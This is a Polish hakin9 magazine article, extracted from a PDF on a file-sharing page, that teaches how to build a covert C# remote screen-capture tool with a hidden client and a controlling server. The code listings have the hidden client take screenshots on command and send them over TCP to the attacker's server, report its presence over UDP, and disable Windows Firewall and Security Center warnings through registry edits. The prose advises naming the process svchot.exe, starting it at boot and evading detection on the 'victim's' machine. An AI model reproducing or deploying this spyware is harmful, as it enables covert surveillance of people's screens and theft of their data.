Podglądanie pulpitu.pdf
(
589 KB
)
Pobierz
54388094 UNPDF
Podglądanie pulpitu
Atak
Sławomir Orłowski
stopień trudności
Używając mechanizmu haków w systemie Windows, możemy
swobodnie przechwytywać poufne dane wprowadzane
z klawiatury (hakin9 1/2008). Pora teraz podpatrzeć,
co użytkownik robi na swoim komputerze.
nizmu haków Windows, lecz stworzy-
my klasyczny projekt typu klient-ser-
wer. Klient będzie uruchamiany na kompute-
rze zdalnym i będzie oczekiwał na komendę
od serwera. Po jej otrzymaniu klient zrobi zrzut
ekranu, po czym dane te prześle do serwera.
W projekcie użyjemy protokołu TCP do przesy-
łania zrzutu ekranu. Za pomocą protokołu UDP
będziemy przesyłać do serwera dane dotyczą-
ce dostępności klientów. Dodatkowo wykorzy-
stamy programowanie wielowątkowe. Aplikację
klienta oraz serwer napiszemy używając dar-
mowego środowiska Visual C# 2005 Express
Edition. Będą to tradycyjne projekty Windows
Forms, choć oczywiście nie stoi nic na prze-
szkodzie, aby użyć projektów Windows Pre-
sentation Fundation. Zakładam, że Czytelnik
posiada podstawową wiedzę z zakresu progra-
mowania w języku C# dla platformy .NET.
miana na komputerze zdalnym, więc zadbamy
o to, aby była tam jak najmniej widoczna. Pro-
jekt ten można połączyć następnie z projek-
tem serwera w ramach jednego zbioru projek-
tów (Solution).
Z artykułu dowiesz się
• jak z poziomu kodu C# utworzyć połączenie
TCP,
• jak z poziomu kodu C# wysłać dane za pomo-
cą protokołu UDP,
• w jaki sposób używać komponentów klasy
BackgroundWorker,
• jak używać strumieni do programowania siecio-
wego.
Co powinieneś wiedzieć
• podstawowa znajomość języka C# i platformy
.NET,
• jak używać środowiska Visual C# Express Edi-
tion,
• podstawy programowania zorientowanego
obiektowo,
• podstawowa znajomość sieci komputero-
wych.
Klient
Aplikację klienta napiszemy jako pierwszą.
Będzie ona standardowym projektem typu
Windows Forms, w którym użyjemy klas plat-
formy .NET odpowiedzialnych za programo-
wanie sieciowe. Będzie to aplikacja urucha-
30
hakin9 Nr 2/2008
www.hakin9.org
T
ym razem nie skorzystamy z mecha-
Podglądanie pulpitu
Zrzut ekranu
Na początku warto napisać meto-
dę, za pomocą której będziemy mo-
gli wykonywać zrzuty ekranu. Roz-
poczynamy zatem nowy projekt
Windows Forms. Niech nazywa się
Klient. Pozostawimy również do-
myślną nazwę Form1, która repre-
zentuje okno (formę) naszej aplika-
cji. Umieścimy ją wewnątrz klasy
Form1
(Listing 1). Aby mieć wygodny
dostęp do klas i metod umożliwiają-
cych wykonanie zrzutu ekranu, mu-
simy dodać jeszcze przestrzeń nazw
System.Drawing.Imaging
.
Zasadniczym elementem napisa-
nej przez nas metody
makeScreenshot
jest użycie metody
CopyFromScreen
klasy
Graphics
. Wykonuje ona kopię
obrazu ekranu. Jej pięć pierwszych
argumentów określa obszar ekranu,
który będzie skopiowany. Ostatni ar-
gument (
CopyPixelOperation
) określa
sposób kopiowania poszczególnych
pikseli. My wybraliśmy
SourceCopy
,
co oznacza dokładne kopiowanie.
Można jeszcze np. odwrócić kolo-
ry itd. Metoda
FromImage
tworzy no-
wy obiekt klasy
Graphics
z określo-
nego obrazu.
Listing 1.
Metoda wykonująca zrzut ekranu
private
Bitmap
makeScreenshot
()
{
Bitmap
bmp
=
new
Bitmap
(
Screen
.
PrimaryScreen
.
Bounds
.
Width
,
Scree
n
.
PrimaryScreen
.
Bounds
.
Height
,
PixelFormat
.
Format32bp
pArgb
);
Graphics
screenshot
=
Graphics
.
FromImage
(
bmp
);
screenshot
.
CopyFromScreen
(
Screen
.
PrimaryScreen
.
Bounds
.
X
,
Screen
.
P
rimaryScreen
.
Bounds
.
Y
,
0
,
0
,
Screen
.
PrimaryScreen
.
Boun
ds
.
Size
,
CopyPixelOperation
.
SourceCopy
);
return
bmp
;
}
Listing 2.
Prywatne pola klasy Form1
private
int
serverCommandPort
=
1978
;
private
IPAddress
serverIP
=
IPAddress
.
Parse
(
"127.0.0.1"
);
private
int
serverDataPort
=
25000
;
private
string
localIP
=
null
;
private
Bitmap
image
;
syłania. W przypadku używania tyl-
ko jednego portu do obu tych opera-
cji nie mielibyśmy takich możliwości.
Serwer musi przechowywać listę ak-
tualnie dostępnych klientów. Wystar-
czy więc, że klient w momencie ini-
cjalizacji prześle informacje o swojej
dostępności. Dla platformy .NET za-
projektowano dwie klasy, które służą
do połączenia TCP. Są to
TCPListener
i
TCPClient
.
Pierwsza spełnia rolę serwe-
ra, a druga klienta. Aby wygodnie
korzystać z klas służących do pro-
gramowania sieciowego, w sekcji
using programu dodajemy trzy prze-
strzenie nazw:
System.Net.Sockets
,
System.Net
i
System.IO
. Do klasy for-
my dodamy jeszcze prywatne pola,
które będą przechowywały dane po-
trzebne do połączenia się z serwe-
rem oraz zrzut ekranu (Listing 2).
Pierwsza zmienna będzie przecho-
wywała port, na jakim będą przesy-
łane komendy.
Druga zmienna zawierać bę-
dzie adres IP serwera. Testowo ad-
res ten ustawiamy na 127.0.0.1, czy-
li adres pętli zwrotnej. Numer portu,
na którym będziemy wymieniać da-
ne z serwerem, przechowany będzie
w zmiennej
serverDataPort
. Zmien-
Przesyłanie zrzutu
ekranu
Przesyłanie kopii ekranu można zre-
alizować na kilka sposobów. Najła-
twiej jest wysyłać dane co pewien
odstęp czasu. Można do tego użyć
komponentu
Timer
. Ja jednak chcia-
łem zaproponować rozwiązanie bar-
dziej uniwersalne, choć – ze wzglę-
du na implementację – dosyć nie-
typowe. Niech użytkownik serwera
sam zdecyduje, kiedy chce wykonać
zdalny zrzut ekranu.
W tym celu klient musi oczekiwać
na odpowiednią komendę od serwe-
ra, czyli w aplikacji klienta de facto
musimy uruchomić serwer. Podobnie
jak w przypadku protokołu FTP, my
również użyjemy do obsługi połącze-
nia dwóch portów. Jeden będzie od-
powiedzialny za komendy, a drugi za
przesyłanie danych. Dzięki takiemu
rozwiązaniu komendy będą wysyła-
ne do klienta niezależnie od prze-
syłanych danych. Umożliwi nam to
wstrzymanie bądź zatrzymanie wy-
Rysunek 1.
Widok projektu interfejsu graicznego serwera
www.hakin9.org
hakin9 Nr 2/2008
31
Atak
na
localIP
będzie zawierać adres
IP komputera, na którym uruchomio-
ny zostanie klient. Ostatnie zadekla-
rowane przez nas pole będzie prze-
chowywać obraz.
Używając do połączenia TCP klas
TcpListener
i
TcpClient
działamy na
zasadzie
blocking socket
. Oznacza to,
że wątek, w którym dokonujemy trans-
akcji TCP będzie zablokowany, dopó-
ki transakcja nie zostanie zakończo-
na. Jeśli to będzie główny wątek apli-
kacji, to jej interfejs graiczny będzie
niedostępny w czasie trwania trans-
akcji TCP. Zatem wygodnie jest uży-
wać programowania wielowątkowe-
go – choć w tym przypadku nie jest to
konieczne, ponieważ nasza aplikacja
nie posiada na formie żadnych kontro-
lek. Począwszy od wersji 2.0, platfor-
ma .NET wyposażona jest w wygod-
ny komponent klasy
BackgroundWorker
.
Dzięki niemu możemy w prosty spo-
sób wykonywać podstawowe opera-
cje wielowątkowe, co w naszym przy-
padku w zupełności wystarczy. Przy
skomplikowanym programie wielo-
wątkowym lepiej skorzystać jest z klas
z przestrzeni nazw
System.Threading
.
Do projektu dodajemy komponent
backgroundWorker1
. Tworzymy dla nie-
go metodę zdarzeniową
DoWork
, któ-
ra odpowiada za zadanie, jakie bę-
dzie w tym wątku wykonywane
(Listing 3). Jak wspomniałem we wstę-
pie, klient powinien oczekiwać na ko-
mendę wysłaną przez serwer, wyko-
nać zrzut ekranu i dane te przesłać na
serwer. Niech komendą inicjalizującą
procedurę wykonania zrzutu ekranu
będzie ciąg
##shot##
. Konstruujemy
obiekt klasy
TcpListener
i w konstruk-
torze przekazujemy adres IP kompu-
tera oraz port, na jakim aplikacja bę-
dzie nasłuchiwać. Pod zmienną loca-
lIP podstawimy adres IP w konstrukto-
rze klasy
Form1
(Listing 4).
Za pomocą metody
Start
inicja-
lizujemy nasłuchiwanie. Metoda ta
nie blokuje jeszcze bieżącego wąt-
ku. Wątek blokowany jest dopiero po
użyciu metody
AcceptTcpClient
, któ-
ra oczekuje na połączenie i zwraca
obiekt klasy
TcpClient
. Za jego pomo-
cą będziemy mogli odczytać dane, ja-
kie otrzymaliśmy podczas połączenia.
Operacje sieciowe dotyczące odczy-
tu bądź wysyłania przy połączeniach
TCP to w ogólności operacje na stru-
mieniach. Wystarczy więc umiejętnie
skonstruować strumień i już mamy
możliwość przesyłania danych przez
sieć. Do obsługi strumienia sieciowe-
go służy klasa
NetworkStream
. Używa-
jąc metody
GetStream
klasy
TcpClient
otrzymujemy strumień, który podsta-
wiamy do referencji ns. Dalej za po-
mocą metody
Read
przepisujemy do
bufora typu
byte[]
dane, które odczy-
taliśmy ze strumienia.
Przy użyciu metody
GetString
z klasy
Encoding
zamieniamy
bufor na obiekt typu string. Sprawdza-
my, jaką wartość ma ten obiekt i je-
żeli jest to komenda
##shot##
, wów-
czas wykonujemy zrzut ekranu i za-
pisujemy go do pola image. Aby zaj-
mował on jak najmniej pamięci,
używamy kodowania JPEG. W ko-
lejnym kroku obraz zamieniany jest
na strumień (klasa
MemoryStream
),
a później na tablicę bajtów (metoda
GetBuffer
). Tak przygotowany stru-
Listing 3.
Metoda wywołująca zrzut ekranu, który następnie przesyłany
jest do serwera
private void backgroundWorker1_DoWork(object sender, DoWorkEventArgs e)
{
TcpListener
server
=
new
TcpListener
(
IPAddress
.
Parse
(
localIP
)
,
serverCommandPort
);
serwer
.
Start
();
while
(
true
)
{
TcpClient
clientCommand
=
server
.
AcceptTcpClient
();
NetworkStream
ns
=
clientCommand
.
GetStream
();
Byte
[]
b
=
new
Byte
[
8
];
int
read
=
ns
.
Read
(
b
,
0
,
b
.
Length
);
string
msg
=
Encoding
.
ASCII
.
GetString
(
b
);
if
(
msg
==
"##shot##"
)
{
image
=
makeScreenshot
();
MemoryStream
ms
=
new
MemoryStream
();
image
.
Save
(
ms
,
ImageFormat
.
Jpeg
);
byte
[]
imageByte
=
ms
.
GetBuffer
();
ms
.
Close
();
try
{
TcpClient
client2
=
new
TcpClient
(
serverIP
.
ToString
()
,
serverDataPort
);
NetworkStream
ns2
=
client2
.
GetStream
();
using
(
BinaryWriter
bw
=
new
BinaryWriter
(
ns2
))
{
bw
.
Write
((
int
)
imageByte
.
Length
);
bw
.
Write
(
imageByte
);
}
}
catch
(
Exception
ex
)
{
}
}
}
}
Listing 4.
Konstruktor klasy Form1
public
Form1
()
{
InitializeComponent
();
IPHostEntry
IPs
=
Dns
.
GetHostEntry
(
Dns
.
GetHostName
());
localIP
=
IPs
.
AddressList
[
0
]
.
ToString
();
backgroundWorker1
.
RunWorkerAsync
();
}
32
hakin9 Nr 2/2008
www.hakin9.org
Podglądanie pulpitu
mień możemy przesłać przez sieć uży-
wając klasy
TcpClient
. Do przesyłania
danych binarnych posłużymy się klasą
BinaryWriter
. Próba wysłania danych
do serwera powinna być zamknięta
w bloku ochronnym
try-catch
, co
uchroni program przed zwracaniem
wyjątków do środowiska uruchomie-
niowego, a co za tym idzie – do zde-
maskowania się. Całość zamknięta
jest w nieskończonej pętli
while
.
Musimy jeszcze odczytać adres
IP komputera, na którym działa klient
oraz uruchomić wątek związany
z komponentem
backgroundWorker1
.
Czynności te wykonamy w konstruk-
torze klasy formy (Listing 4).
poprzez dodawanie nowych kontro-
lek do formy. Program ten powinien
również uruchamiać się w momencie
startu systemu.
Metoda dodająca odpowiedni wpis
do rejestru systemowego, który za-
pewni automatyczne uruchamianie
aplikacji, została już zaprezentowana
w artykule
C#.NET. Podsłuchiwanie
klawiatury
, hakin9 1/2008. Sam proces
można w prosty sposób ukryć poprzez
nazwanie programu np.
svchot.exe
.
Program można również spróbować
uruchomić w trybie usługi.
Pozostaje jeszcze jedna, ważna
kwestia: reakcja irewalla zainstalo-
wanego w systemie na próbę stworze-
nia serwera, a co za tym idzie otwarcia
portu i nasłuchiwania na nim. Ponie-
waż jest to bardzo szeroki temat, do-
bry na osobny artykuł, skupimy się je-
dynie na irewallu systemowym, który
jest używany przez bardzo wielu użyt-
kowników. Aby go wyłączyć wystar-
czy zmienić wartość
EnableFirewall
znajdującą się w kluczu o nazwie
HKEY _ LOCAL _ M ACHINE\SYSTEM\
ControlSet001\Services\SharedAccess\
P a r a m e t e r s\F i r e w a l l P ol ic y\
StandardProile
z
dword:00000001
na
dword:00000000
. Centrum Zabezpie-
czeń, które obecne jest od premiery
poprawki SP2, może wyświetlać mo-
nity o wyłączeniu irewalla. Aby za-
mknąć mu usta, wystarczy zmienić
wartość
FirewallDisableNotify
, która
znajduje się w kluczu
HKEY _ LOCAL _
MACHINE\SOFTWARE\Microsoft\Security
Wysyłanie informacji
o dostępności klienta
Ważną funkcjonalnością aplikacji
klienckiej powinno być wysyłanie in-
formacji o dostępności klienta. Dzięki
temu serwer będzie miał zawsze ak-
tualną listę klientów, którzy są aktyw-
ni. Użyjemy do tego protokołu UDP.
Niech informacja, jaką będzie wysyłał
klient, ma postać adresIP_klienta:ko-
munikat. Przy starcie klient powinien
wysłać informację, która może wy-
glądać tak:
127.0.0.1:HI
. Przy kończe-
niu pracy powinien wysłać informa-
cję
127.0.0.1:BYE
. Listing 5 przedsta-
wia prostą metodę wysyłającą dane
za pomocą protokołu UDP. Do obsłu-
gi połączenia UDP użyta została klasa
UdpClient
i jej metoda
Send
.
Wystarczy ją podczepić do zda-
rzenia
Load
oraz
FormClosing
(Li-
sting 6).
Przypatrzmy się jeszcze przez
chwilę sposobowi działania klien-
ta. Aplikacja ta będzie uruchamiana
na komputerze zdalnym (w domyśle
oiary
). Musimy więc zadbać o to, aby
była jak najtrudniejsza do odkrycia.
Na początek ukrywamy okno apli-
kacji. Można to zrobić poprzez wła-
sności
ShowIcon
oraz
ShowInTaskbar
,
które ustawiamy na
false
. Własność
WindowState
ustawiamy na
Minimized
.
W zasadzie moglibyśmy napisać rów-
nież aplikację konsolową, która nie
posiadałaby okna. Wybrałem jed-
nak aplikację
Windows Forms
, ponie-
waż chciałem, aby program mógł być
później dowolnie modyikowany – np.
Listing 5.
Wysyłanie danych za pomocą protokołu UDP
private
void
SendMessageUDP
(
string
msg
)
{
UdpClient
client
=
new
UdpClient
(
serverIP
.
ToString
()
,
43210
);
byte
[]
b
=
Encoding
.
ASCII
.
GetBytes
(
msg
);
client
.
Send
(
b
,
b
.
Length
);
client
.
Close
();
}
Listing 6.
Metody zdarzeniowe Load oraz FormClosing
private
void
Form1_Load
(
object
sender
,
EventArgs
e
)
{
SendMessageUDP
(
localIP
+
":HI"
);
}
private
void
Form1_FormClosing
(
object
sender
,
FormClosingEventArgs
e
)
{
SendMessageUDP
(
localIP
+
":BYE"
);
}
Listing 7.
Wyłączenie systemowego irewalla
private
void
irewallDisable
()
{
const
string
keyname1
=
"SYSTEM
\\
ControlSet001
\\
Services
\
\
SharedAccess
\\
Parameters
\\
FirewallPolicy
\\
StandardProile"
;
const
string
keyname2
=
"SOFTWARE
\\
Microsoft
\\
Security Center"
;
try
{
Microsoft
.
Win32
.
RegistryKey
rg1
=
Microsoft
.
Win32
.
Registry
.
L
ocalMachine
.
OpenSubKey
(
keyname1
,
true
);
rg1
.
SetValue
(
"EnableFirewall"
,
0
);
rg1
.
Close
();
Microsoft
.
Win32
.
RegistryKey
rg2
=
Microsoft
.
Win32
.
Registry
.
L
ocalMachine
.
OpenSubKey
(
keyname2
,
true
);
rg2
.
SetValue
(
"FirewallDisableNotify"
,
1
);
rg2
.
Close
();
}
catch
{}
}
www.hakin9.org
hakin9 Nr 2/2008
33
Atak
Center
. Odpowiedni kod realizujący
te zadania przedstawiony został na
Listingu 7. Jego wywołanie najlepiej
umieścić w konstruktorze klasy
Form1
lub w metodzie zdarzeniowej dla zda-
rzenia
Load
formy. Sam sposób prze-
prowadzania operacji na rejestrze zo-
stał również opisany w cytowanym po-
wyżej artykule.
Próba modyikacji rejestru nie
uda się, jeśli nie mamy odpowiednich
praw. Jednak ilu jest użytkowników
systemu Windows, którzy na co dzień
korzystają z konta o prawach admini-
stratora? Można również zmienić ten
program tak, aby udawał jakąś inną
aplikację. W ten sposób użytkownik
może zignorować ewentualne moni-
ty pochodzące od irewalla i pozwolić
na komunikację sieciową. Programy
antywirusowe nie powinny zgłaszać
zagrożenia podczas działania klien-
ta (jak i w trakcie skanowania jego pli-
ku wykonywalnego), ponieważ jest to
standardowa aplikacja.
Listing 8.
Bezpieczne odwoływanie się do kontrolek formy z poziomu
innego wątku
delegate
void
SetTextCallBack
(
string
tekst
);
private
void
SetText
(
string
tekst
)
{
if
(
listBox1
.
InvokeRequired
)
{
SetTextCallBack
f
=
new
SetTextCallBack
(
SetText
);
this
.
Invoke
(
f
,
new
object
[]
{
tekst
}
);
}
else
{
this
.
listBox1
.
Items
.
Add
(
tekst
);
}
}
delegate
void
RemoveTextCallBack
(
int
pozycja
);
private
void
RemoveText
(
int
pozycja
)
{
if
(
listBox1
.
InvokeRequired
)
{
RemoveTextCallBack
f
=
new
RemoveTextCallBack
(
RemoveText
);
this
.
Invoke
(
f
,
new
object
[]
{
pozycja
}
);
}
else
{
listBox1
.
Items
.
RemoveAt
(
pozycja
);
}
}
Pora stworzyć serwer
Rozpoczynamy kolejny projekt
Win-
dows Forms
, który będzie serwe-
rem dla napisanego przed chwi-
lą klienta. Na początek zbuduje-
my interfejs graiczny użytkownika.
W tym celu do projektu dodajemy kon-
trolkę
pictureBox1
, na której będzie-
my wyświetlać pobrany zrzut ekranu.
Na formę wrzucamy również kontro-
lkę
listBox1
, przeznaczoną do prze-
chowywania listy wszystkich aktyw-
nych klientów. Dodajemy jeszcze pole
edycyjne
textBox1
, które będzie prze-
chowywać adres IP serwera oraz po-
le
numericUpDown1
, które posłuży do
wyboru portu. Na koniec dodajemy
przycisk
button1
– będzie on inicjo-
wał zdalny zrzut ekranu. Nasz ser-
wer, podobnie jak klient, będzie ob-
sługiwał połączenia w osobnych wąt-
kach. Dzięki temu interfejs użytkow-
nika będzie stale dostępny. Założyli-
śmy sobie na początku, że informa-
cje o aktywnych klientach przesyłać
będziemy przy użyciu protokołu UDP.
Oczekiwanie na zgłoszenia od klien-
tów zrealizujemy w osobnym wątku.
Do jego obsługi dodajemy kompo-
nent
backgroundWorker1
. Zanim opro-
gramujemy jego metodę
DoWork
, musi-
Listing 9.
Metoda konstruująca listę aktywnych klientów
private
void
backgroundWorker1_DoWork
(
object
sender
,
DoWorkEventArgs
e
)
{
IPEndPoint
hostIP
=
new
IPEndPoint
(
IPAddress
.
Any
,
0
);
UdpClient
client
=
new
UdpClient
(
43210
);
while
(
true
)
{
Byte
[]
b
=
client
.
Receive
(
ref
hostIP
);
string
data
=
Encoding
.
ASCII
.
GetString
(
b
);
string
[]
cmd
=
data
.
Split
(
new
char
[]
{
':'
}
);
if
(
cmd
[
1
]
==
"HI"
)
{
foreach
(
string
s
in
listBox1
.
Items
)
if
(
s
==
cmd
[
0
])
{
MessageBox
.
Show
(
"Próba nawiązania połączenia z "
+
cmd
[
0
]
+
" odrzucona ponieważ na liście istnieje już
taki wpis"
);
return
;
}
this
.
SetText
(
cmd
[
0
]);
}
if
(
cmd
[
1
]
==
"BYE"
)
{
for
(
int
i
=
0
;
i
<
listBox1
.
Items
.
Count
;
i
++)
if
(
listBox1
.
Items
[
i
]
.
ToString
()
==
cmd
[
0
])
this
.
RemoveText
(
i
);
}
}
}
34
hakin9 Nr 2/2008
www.hakin9.org
Plik z chomika:
SUPERBLUES
Inne pliki z tego folderu:
Damian Duszkiewicz zwalcz spam-profilaktyka.pdf
(333 KB)
Podglądanie pulpitu.pdf
(589 KB)
Niebezpieczny Firefox.pdf
(411 KB)
Narodziny procesu.pdf
(320 KB)
hakin9.04.2008.pl.pdf
(9510 KB)
Inne foldery tego chomika:
AUDIOBOOKI
E-BOOKI
Zgłoś jeśli
naruszono regulamin